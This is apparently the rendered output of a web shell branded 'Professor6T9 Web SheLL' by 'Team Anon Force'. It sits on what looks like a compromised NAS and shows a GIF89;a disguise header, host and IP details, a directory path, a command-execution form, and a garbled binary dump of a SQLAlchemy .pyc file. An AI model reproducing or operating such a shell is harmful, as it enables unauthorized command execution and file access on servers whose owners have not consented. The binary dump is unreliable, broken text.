GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux SamCT211 4.4.302+ #86009 SMP Wed Nov 26 18:19:20 CST 2025 x86_64
nginx/1.23.1
192.168.4.211
/
volume1
/
@appstore
/
Contacts
/
radicale
/
site-packages
/
sqlalchemy
/
sql
/
__pycache__
[ HOME ]
Exec
Submit
File Name : crud.cpython-38.pyc
U �}�h!e � @ s" d Z ddlZddlmZ ddlmZ ddlmZ ddlmZ e�d d �Ze�d�Z e�d�Z e�d �Zdd� Zdd� Z d:dd�Zdd� Zdd� Zdd� Zdd� Zdd� Zd;d d!�Zd<d"d#�ZG d$d%� d%ej�Zd&d'� Zd(d)� Zd*d+� Zd,d-� Zd.d/� Zd0d1� Zd2d3� Zd4d5� Zd6d7� Z d8d9� Z!dS )=ziFunctions used by compiler.py to determine the parameters rendered within INSERT and UPDATE statements. � N� )�dml)�elements� )�exc)�util�REQUIREDa8 Placeholder for the value within a :class:`.BindParameter` which is required to be present when the statement is passed to :meth:`_engine.Connection.execute`. This symbol is typically used when a :func:`_expression.insert` or :func:`_expression.update` statement is compiled without parameter values present. �ISINSERT�ISUPDATE�ISDELETEc K s� | j }| j}| j}|p2|p2|p2t| j�dkp2d|k}|tkrJd| _d| _ n6|tkr`d| _d| _ n |tkrt|s�d| _nds�td��z"|ttfkr�t | |f|�W �S W 5 |r�|| _ || _|| _X d S )Nr Zvisiting_cteFTz(ISINSERT, ISUPDATE, or ISDELETE expected) �isinsert�isupdateZisdelete�len�stackr r r �AssertionError�_get_crud_params)�compiler�stmtZlocal_stmt_type�kwZrestore_isinsertZrestore_isupdateZrestore_isdeleteZshould_restore� r �:/tmp/pip-target-hu2ovxdm/lib/python/sqlalchemy/sql/crud.py�_setup_crud_params'